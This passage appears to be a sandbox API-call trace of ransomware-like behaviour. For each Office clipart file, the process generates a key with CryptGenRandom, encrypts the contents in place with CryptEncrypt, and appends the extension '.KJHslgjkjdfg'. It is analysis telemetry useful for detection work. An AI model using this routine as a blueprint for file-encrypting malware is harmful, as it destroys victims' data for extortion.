lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.961] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.962] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.962] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.962] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.962] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.962] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5328, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5328, lpOverlapped=0x0) returned 1 [0219.039] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5330, dwBufLen=0x5330 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5330) returned 1 [0219.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.039] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5330, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5330, lpOverlapped=0x0) returned 1 [0219.039] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.039] SetEndOfFile (hFile=0x130) returned 1 [0219.042] GetProcessHeap () returned 0x2ef0000 [0219.042] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0219.042] GetProcessHeap () returned 0x2ef0000 [0219.043] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0219.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.kjhslgjkjdfg")) returned 1 [0219.044] CloseHandle (hObject=0x130) returned 1 [0219.045] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf911f00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf911f00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02369_.WMF", cAlternateFileName="")) returned 1 [0219.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.046] GetProcessHeap () returned 0x2ef0000 [0219.046] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0219.046] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0219.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0219.046] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.046] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.046] GetProcessHeap () returned 0x2ef0000 [0219.046] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0219.046] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0219.046] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.046] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0219.055] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0219.055] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0219.055] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0219.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0219.055] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.055] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.055] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.055] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8c0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8c0, lpOverlapped=0x0) returned 1 [0219.055] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0) returned 1 [0219.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.056] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8c0, lpOverlapped=0x0) returned 1 [0219.056] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.056] SetEndOfFile (hFile=0x130) returned 1 [0219.059] GetProcessHeap () returned 0x2ef0000 [0219.059] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0219.059] GetProcessHeap () returned 0x2ef0000 [0219.059] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0219.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.kjhslgjkjdfg")) returned 1 [0219.068] CloseHandle (hObject=0x130) returned 1 [0219.068] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa494d400, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa494d400, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x39f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02522_.WMF", cAlternateFileName="")) returned 1 [0219.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.070] GetProcessHeap () returned 0x2ef0000 [0219.070] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0219.070] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0219.071] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0219.071] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.080] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.080] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.080] GetProcessHeap () returned 0x2ef0000 [0219.080] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0219.080] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0219.080] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0219.080] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0219.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0219.081] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0219.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0219.081] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.081] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.081] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.081] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x39f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x39f8, lpOverlapped=0x0) returned 1 [0219.085] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3a00, dwBufLen=0x3a00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3a00) returned 1 [0219.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.085] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3a00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3a00, lpOverlapped=0x0) returned 1 [0219.086] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.086] SetEndOfFile (hFile=0x130) returned 1 [0219.087] GetProcessHeap () returned 0x2ef0000 [0219.087] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0219.087] GetProcessHeap () returned 0x2ef0000 [0219.087] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0219.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.kjhslgjkjdfg")) returned 1 [0219.089] CloseHandle (hObject=0x130) returned 1 [0219.089] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d2a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02950_.WMF", cAlternateFileName="")) returned 1 [0219.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.090] GetProcessHeap () returned 0x2ef0000 [0219.090] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0219.090] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0219.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0219.091] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0219.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.093] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.093] GetProcessHeap () returned 0x2ef0000 [0219.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0219.093] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0219.093] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0219.093] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0219.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0219.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0219.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0219.094] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.094] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.094] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.094] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.094] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d2a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d2a, lpOverlapped=0x0) returned 1 [0219.099] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d30, dwBufLen=0x1d30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d30) returned 1 [0219.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.099] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d30, lpOverlapped=0x0) returned 1 [0219.099] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.100] SetEndOfFile (hFile=0x130) returned 1 [0219.101] GetProcessHeap () returned 0x2ef0000 [0219.101] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0219.101] GetProcessHeap () returned 0x2ef0000 [0219.101] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0219.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.kjhslgjkjdfg")) returned 1 [0219.103] CloseHandle (hObject=0x130) returned 1 [0219.103] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02957_.WMF", cAlternateFileName="")) returned 1 [0219.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.104] GetProcessHeap () returned 0x2ef0000 [0219.104] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0219.104] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0219.104] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0219.104] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.104] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.104] GetProcessHeap () returned 0x2ef0000 [0219.104] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0219.104] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0219.104] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.104] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0219.122] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0219.122] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0219.122] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0219.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0219.123] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.123] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.123] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 